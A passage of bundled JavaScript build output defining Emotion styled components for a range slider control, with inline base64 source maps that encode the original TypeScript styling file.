FxuXHRcdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0XHQ6IHJhaWxDb2xvciB8fCBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0gfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6IEdyYXlUZXh0O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBSYWlsID0gc3R5bGVkLnNwYW5gXG5cdGxlZnQ6IDA7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRyaWdodDogMDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdGhlaWdodDogJHsgcmFpbEhlaWdodCB9cHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblxuXHQkeyByYWlsQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5jb25zdCB0cmFja0JhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgdHJhY2tDb2xvciB9OiBUcmFja1Byb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy50aGVtZS5ncmF5WyA0MDAgXVxuXHRcdFx0OiB0cmFja0NvbG9yIHx8ICdjdXJyZW50Q29sb3InIH07XG5cblx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZCA/ICdHcmF5VGV4dCcgOiAnQ2FudmFzVGV4dCcgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVHJhY2sgPSBzdHlsZWQuc3BhbmBcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdG1hcmdpbi10b3A6ICR7ICggcmFuZ2VIZWlnaHRWYWx1ZSAtIHJhaWxIZWlnaHQgKSAvIDIgfXB4O1xuXHR0b3A6IDA7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IHdpZHRoIGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0cmFja0JhY2tncm91bmRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmtzV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRtYXJnaW4tdG9wOiAxN3B4O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmsgPSBzdHlsZWQuc3BhbmBcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRsZWZ0OiAwO1xuXHR0b3A6IC00cHg7XG5cdGhlaWdodDogNHB4O1xuXHR3aWR0aDogMnB4O1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIC01MCUgKTtcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0ei1pbmRleDogMTtcbmA7XG5cbmNvbnN0IG1hcmtMYWJlbEZpbGwgPSAoIHsgaXNGaWxsZWQgfTogUmFuZ2VNYXJrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogaXNGaWxsZWQgPyBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF0gOiBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0sXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBNYXJrTGFiZWwgPSBzdHlsZWQuc3BhbmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXHRmb250LXNpemU6IDExcHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiA4cHg7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cblx0JHsgcnRsKCB7IGxlZnQ6IDAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC01MCUgKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDUwJSApJyB9XG5cdCkgfTtcblxuXHQkeyBtYXJrTGFiZWxGaWxsIH07XG5gO1xuXG5jb25zdCB0aHVtYkNvbG9yID0gKCB7IGRpc2FibGVkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgfXB4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gdGh1bWJTaXplICkgLyAyIH1weDtcblx0b3V0bGluZTogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHR6LWluZGV4OiAzO1xuXG5cdC5pcy1tYXJrZWQgJiB7XG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBsZWZ0IGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiAtMTAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDQuNXB4ICknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKCAtNC41cHggKScgfVxuXHQpIH07XG5gO1xuXG5jb25zdCB0aHVtYkZvY3VzID0gKCB7IGlzRm9jdXNlZCB9OiBUaHVtYlByb3BzICkgPT4ge1xuXHRyZXR1cm4gaXNGb2N1c2VkXG5cdFx0PyBjc3NgXG5cdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0Y29udGVudDogJyAnO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHRcdFx0b3BhY2l0eTogMC40O1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRcdFx0XHRcdGhlaWdodDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0d2lkdGg6ICR7IHRodW1iU2l6ZSArIDggfXB4O1xuXHRcdFx0XHRcdHRvcDogLTRweDtcblx0XHRcdFx0XHRsZWZ0OiAtNHB4O1xuXG5cdFx0XHRcdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0XHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0ICBgXG5cdFx0OiAnJztcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYiA9IHN0eWxlZC5zcGFuPCBUaHVtYlByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRoZWlnaHQ6IDEwMCU7XG5cdG91dGxpbmU6IDA7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdHdpZHRoOiAxMDAlO1xuXHRib3gtc2hhZG93OiAkeyBDT05GSUcuZWxldmF0aW9uWFNtYWxsIH07XG5cblx0JHsgdGh1bWJDb2xvciB9O1xuXHQkeyB0aHVtYkZvY3VzIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSW5wdXRSYW5nZSA9IHN0eWxlZC5pbnB1dGBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAxMDAlO1xuXHRsZWZ0OiAwO1xuXHRtYXJnaW46IDAgLSR7IHRodW1iU2l6ZSAvIDIgfXB4O1xuXHRvcGFjaXR5OiAwO1xuXHRvdXRsaW5lOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHJpZ2h0OiAwO1xuXHR0b3A6IDA7XG5cdHdpZHRoOiBjYWxjKCAxMDAlICsgJHsgdGh1bWJTaXplIH1weCApO1xuYDtcblxuY29uc3QgdG9vbHRpcFNob3cgPSAoIHsgc2hvdyB9OiBUb29sdGlwUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0ZGlzcGxheTogJHsgc2hvdyA/ICdpbmxpbmUtYmxvY2snIDogJ25vbmUnIH07XG5cdFx0b3BhY2l0eTogJHsgc2hvdyA/IDEgOiAwIH07XG5cblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246XG5cdFx0XHRcdG9wYWNpdHkgMTIwbXMgZWFzZSxcblx0XHRcdFx0ZGlzcGxheSAxMjBtcyBlYXNlIGFsbG93LWRpc2NyZXRlO1xuXHRcdH1cblxuXHRcdEBzdGFydGluZy1zdHlsZSB7XG5cdFx0XHRvcGFjaXR5OiAwO1xuXHRcdH1cblx0YDtcbn07XG5cbmNvbnN0IHRvb2x0aXBQbGFjZW1lbnQgPSAoIHsgcGxhY2VtZW50IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0Y29uc3QgaXNCb3R0b20gPSBwbGFjZW1lbnQgPT09ICdib3R0b20nO1xuXG5cdGlmICggaXNCb3R0b20gKSB7XG5cdFx0cmV0dXJuIGNzc2Bcblx0XHRcdGJvdHRvbTogLTgwJTtcblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHR0b3A6IC04MCU7XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcCA9IHN0eWxlZC5zcGFuPCBUb29sdGlwUHJvcHMgPmBcblx0YmFja2dyb3VuZDogcmdiYSggMCwgMCwgMCwgMC44ICk7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRjb2xvcjogd2hpdGU7XG5cdGZvbnQtc2l6ZTogMTJweDtcblx0bWluLXdpZHRoOiAzMnB4O1xuXHRwYWRkaW5nOiA0cHggOHB4O1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRsaW5lLWhlaWdodDogMS40O1xuXG5cdCR7IHRvb2x0aXBTaG93IH07XG5cblx0JHsgdG9vbHRpcFBsYWNlbWVudCB9O1xuXHQkeyBydGwoXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKC01MCUpJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCg1MCUpJyB9XG5cdCkgfVxuYDtcblxuLy8gQHRvZG8gUmVmYWN0b3IgUmFuZ2VDb250cm9sIHdpdGggbGF0ZXN0IEhTdGFjayBjb25maWd1cmF0aW9uXG4vLyBAc2VlOiBwYWNrYWdlcy9jb21wb25lbnRzL3NyYy9oLXN0YWNrXG5leHBvcnQgY29uc3QgSW5wdXROdW1iZXIgPSBzdHlsZWQoIE51bWJlckNvbnRyb2wgKWBcblx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRmb250LXNpemU6IDEzcHg7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0aW5wdXRbdHlwZT0nbnVtYmVyJ10mIHtcblx0XHQkeyByYW5nZUhlaWdodCB9O1xuXHR9XG5cblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IGAkeyBzcGFjZSggNCApIH0gIWltcG9ydGFudGAgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBY3Rpb25SaWdodFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZGlzcGxheTogYmxvY2s7XG5cdG1hcmdpbi10b3A6IDA7XG5cblx0YnV0dG9uLFxuXHRidXR0b24uaXMtc21hbGwge1xuXHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogOCB9ICkgfVxuYDtcbiJdfQ== */"));
30783 var InputRange = /* @__PURE__ */ createStyled("input", false ? {
30784 target: "e1epgpqk3"
30785 } : {
30786 target: "e1epgpqk3",
30787 label: "InputRange"
30788 })("box-sizing:border-box;cursor:pointer;display:block;height:100%;left:0;margin:0 -", thumbSize / 2, "px;opacity:0;outline:none;position:absolute;right:0;top:0;width:calc( 100% + ", thumbSize, "px );" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQThQc0MiLCJmaWxlIjoicmFuZ2UtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBOdW1iZXJDb250cm9sIGZyb20gJy4uLy4uL251bWJlci1jb250cm9sJztcbmltcG9ydCB7IENPTE9SUywgcnRsLCBDT05GSUcgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuaW1wb3J0IHR5cGUge1xuXHRSYW5nZU1hcmtQcm9wcyxcblx0UmFpbFByb3BzLFxuXHRUaHVtYlByb3BzLFxuXHRUb29sdGlwUHJvcHMsXG5cdFRyYWNrUHJvcHMsXG5cdFdyYXBwZXJQcm9wcyxcblx0UmFuZ2VDb250cm9sUHJvcHMsXG59IGZyb20gJy4uL3R5cGVzJztcblxuY29uc3QgcmFuZ2VIZWlnaHRWYWx1ZSA9IDMwO1xuY29uc3QgcmFpbEhlaWdodCA9IDQ7XG5jb25zdCByYW5nZUhlaWdodCA9ICgpID0+XG5cdGNzcyggeyBoZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUsIG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5jb25zdCB0aHVtYlNpemUgPSAxMjtcblxuY29uc3QgZGVwcmVjYXRlZEhlaWdodCA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBQaWNrPCBSYW5nZUNvbnRyb2xQcm9wcywgJ19fbmV4dDQwcHhEZWZhdWx0U2l6ZScgPiApID0+XG5cdCEgX19uZXh0NDBweERlZmF1bHRTaXplICYmIGNzcyggeyBtaW5IZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUgfSApO1xuXG50eXBlIFJvb3RQcm9wcyA9IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+O1xuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQuZGl2PCBSb290UHJvcHMgPmBcblx0LXdlYmtpdC10YXAtaGlnaGxpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0anVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xuXHRwYWRkaW5nOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHRvdWNoLWFjdGlvbjogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdC8qIFRPRE86IHJlbW92ZSBhZnRlciByZW1vdmluZyB0aGUgX19uZXh0NDBweERlZmF1bHRTaXplIHByb3AgKi9cblx0JHsgZGVwcmVjYXRlZEhlaWdodCB9O1xuYDtcblxuY29uc3Qgd3JhcHBlckNvbG9yID0gKCB7IGNvbG9yID0gQ09MT1JTLnVpLmJvcmRlckZvY3VzIH06IFdyYXBwZXJQcm9wcyApID0+XG5cdGNzcyggeyBjb2xvciB9ICk7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkKCAnZGl2Jywge1xuXHRzaG91bGRGb3J3YXJkUHJvcDogKCBwcm9wOiBzdHJpbmcgKSA9PlxuXHRcdCEgWyAnY29sb3InLCAnbWFya3MnIF0uaW5jbHVkZXMoIHByb3AgKSxcbn0gKTwgV3JhcHBlclByb3BzID5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRmbGV4OiAxO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXG5cdCR7IHdyYXBwZXJDb2xvciB9O1xuXHQkeyByYW5nZUhlaWdodCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEJlZm9yZUljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luUmlnaHQ6IDYgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBZnRlckljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogNiB9ICkgfVxuYDtcblxuY29uc3QgcmFpbEJhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgcmFpbENvbG9yIH06IFJhaWxQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0XHQ6IHJhaWxDb2xvciB8fCBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0gfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6IEdyYXlUZXh0O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBSYWlsID0gc3R5bGVkLnNwYW5gXG5cdGxlZnQ6IDA7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRyaWdodDogMDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdGhlaWdodDogJHsgcmFpbEhlaWdodCB9cHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblxuXHQkeyByYWlsQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5jb25zdCB0cmFja0JhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgdHJhY2tDb2xvciB9OiBUcmFja1Byb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy50aGVtZS5ncmF5WyA0MDAgXVxuXHRcdFx0OiB0cmFja0NvbG9yIHx8ICdjdXJyZW50Q29sb3InIH07XG5cblx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZCA/ICdHcmF5VGV4dCcgOiAnQ2FudmFzVGV4dCcgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVHJhY2sgPSBzdHlsZWQuc3BhbmBcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdG1hcmdpbi10b3A6ICR7ICggcmFuZ2VIZWlnaHRWYWx1ZSAtIHJhaWxIZWlnaHQgKSAvIDIgfXB4O1xuXHR0b3A6IDA7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IHdpZHRoIGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0cmFja0JhY2tncm91bmRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmtzV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRtYXJnaW4tdG9wOiAxN3B4O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmsgPSBzdHlsZWQuc3BhbmBcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRsZWZ0OiAwO1xuXHR0b3A6IC00cHg7XG5cdGhlaWdodDogNHB4O1xuXHR3aWR0aDogMnB4O1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIC01MCUgKTtcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0ei1pbmRleDogMTtcbmA7XG5cbmNvbnN0IG1hcmtMYWJlbEZpbGwgPSAoIHsgaXNGaWxsZWQgfTogUmFuZ2VNYXJrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogaXNGaWxsZWQgPyBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF0gOiBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0sXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBNYXJrTGFiZWwgPSBzdHlsZWQuc3BhbmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXHRmb250LXNpemU6IDExcHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiA4cHg7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cblx0JHsgcnRsKCB7IGxlZnQ6IDAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC01MCUgKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDUwJSApJyB9XG5cdCkgfTtcblxuXHQkeyBtYXJrTGFiZWxGaWxsIH07XG5gO1xuXG5jb25zdCB0aHVtYkNvbG9yID0gKCB7IGRpc2FibGVkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgfXB4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gdGh1bWJTaXplICkgLyAyIH1weDtcblx0b3V0bGluZTogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHR6LWluZGV4OiAzO1xuXG5cdC5pcy1tYXJrZWQgJiB7XG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBsZWZ0IGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiAtMTAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDQuNXB4ICknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKCAtNC41cHggKScgfVxuXHQpIH07XG5gO1xuXG5jb25zdCB0aHVtYkZvY3VzID0gKCB7IGlzRm9jdXNlZCB9OiBUaHVtYlByb3BzICkgPT4ge1xuXHRyZXR1cm4gaXNGb2N1c2VkXG5cdFx0PyBjc3NgXG5cdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0Y29udGVudDogJyAnO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHRcdFx0b3BhY2l0eTogMC40O1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRcdFx0XHRcdGhlaWdodDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0d2lkdGg6ICR7IHRodW1iU2l6ZSArIDggfXB4O1xuXHRcdFx0XHRcdHRvcDogLTRweDtcblx0XHRcdFx0XHRsZWZ0OiAtNHB4O1xuXG5cdFx0XHRcdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0XHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0XHRcdFx0fVxuXHRc